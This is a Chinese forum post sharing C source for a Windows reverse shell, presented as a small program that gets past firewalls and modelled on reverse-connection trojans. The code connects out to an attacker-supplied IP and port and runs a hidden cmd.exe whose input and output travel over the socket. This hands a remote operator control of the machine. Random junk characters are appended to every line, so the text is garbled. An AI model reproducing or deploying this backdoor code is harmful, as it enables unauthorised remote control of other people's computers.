社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5534阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |8'}mjs.Q  
AwZ@)0Wy  
/* ============================== nLm'a_  
Rebound port in Windows NT l ms^|?  
By wind,2006/7 PaaMh[OmG  
===============================*/ *|y'%y  
#include p%$r\G-x  
#include mW"e  
`,V&@}&"n  
#pragma comment(lib,"wsock32.lib") <.ZIhDiEl  
~!({U nt+'  
void OutputShell(); nOPB*{r|  
SOCKET sClient; 8XH;<z<oJ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ? X8`+`nh  
1'hpg>U  
void main(int argc,char **argv) D+!T5)>(  
{ 96\FJHt Z  
WSADATA stWsaData; :rr<#F  
int nRet; fQ9af)d  
SOCKADDR_IN stSaiClient,stSaiServer; OAkqPG&w  
(Iv@SiZf(  
if(argc != 3) ~;HASHu  
{ D\G 8p;  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0")_%  
return; <2(X?,N5BD  
} 1Lf -  
Jj ]<SWh  
WSAStartup(MAKEWORD(2,2),&stWsaData); >(2;(TbQm0  
SVa^:\"$[  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w_U#z(W3l  
A@3'I  ;  
stSaiClient.sin_family = AF_INET; GNW$:=0u  
stSaiClient.sin_port = htons(0); W(qK?"s2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r`ftflNh(  
D Z~036  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *fY*Wy9  
{ x<t ?Yc9  
printf("Bind Socket Failed!\n"); F4=X(P_6  
return; =>S[Dh  
} M7qg\1L  
6Lq8#{/]u  
stSaiServer.sin_family = AF_INET; k'X"jon  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HE*^!2f  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T pCXe\W  
 =glG |  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *[>{ 9V  
{ ^Cp;#|g,  
printf("Connect Error!"); N8T.Ye N  
return; UChLWf|'  
} .D7Gog3^<  
OutputShell(); JiqhCt\  
} 3Q&@l49q  
9a:(ab'  
void OutputShell() ht\_YiDg3  
{ h1'm[Y  
char szBuff[1024]; P{RGW.Ci@  
SECURITY_ATTRIBUTES stSecurityAttributes; Y;\@ 5TgQ,  
OSVERSIONINFO stOsversionInfo; >8NUji2I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Yi-,Pb?   
STARTUPINFO stStartupInfo; auB+g'l  
char *szShell; :MYLap&L&  
PROCESS_INFORMATION stProcessInformation; asW W@E  
unsigned long lBytesRead; 0{!-h  
&w=ul'R98  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W T @XHwt  
$5#DU__F/  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -f'&JwE0=  
stSecurityAttributes.lpSecurityDescriptor = 0; '0Q/oU  
stSecurityAttributes.bInheritHandle = TRUE; CTqhXk[  
uC]c`Ue  
>y!R}`&0^t  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B<|Vm.D  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fHuWBC_YO  
2 9z@ !  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >kuu\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1n)YCSA  
stStartupInfo.wShowWindow = SW_HIDE; 1k%HGQM{  
stStartupInfo.hStdInput = hReadPipe; fDXTedrG/  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xgsEe3|  
(nkiuCO  
GetVersionEx(&stOsversionInfo); H ~<.2b  
l >oJ^J  
switch(stOsversionInfo.dwPlatformId) 'v(b^x<ZS  
{ x9]vhR/av  
case 1: nWd;XR6|  
szShell = "command.com"; *aYuuRx  
break; 3z k},8fu  
default: r.]IGE|  
szShell = "cmd.exe"; 8NWuhRRrw  
break; 4?_^7(%p  
} i_y%HG  
R2Q1Rk#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I 'ha=PeVn  
{(d 6of`C_  
send(sClient,szMsg,77,0); 7 $dibTER  
while(1) D4{<~/oBv  
{ wF-H{C'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `Gg,oCQg  
if(lBytesRead) a3[,3  
{ ]~pM;6Pu0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k]c$SzJ>/  
send(sClient,szBuff,lBytesRead,0); j^/^PUR  
} 6anH#=(  
else `@&WELFv{  
{ Q+IB&LdE  
lBytesRead=recv(sClient,szBuff,1024,0); 0c&DSL}6  
if(lBytesRead<=0) break; $%1oZ{&M  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [KEw5-=i@  
} `{ \)Wuw  
} ^_=bssaOd  
P(p|NRD@1  
return; CSzu $Hnq  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五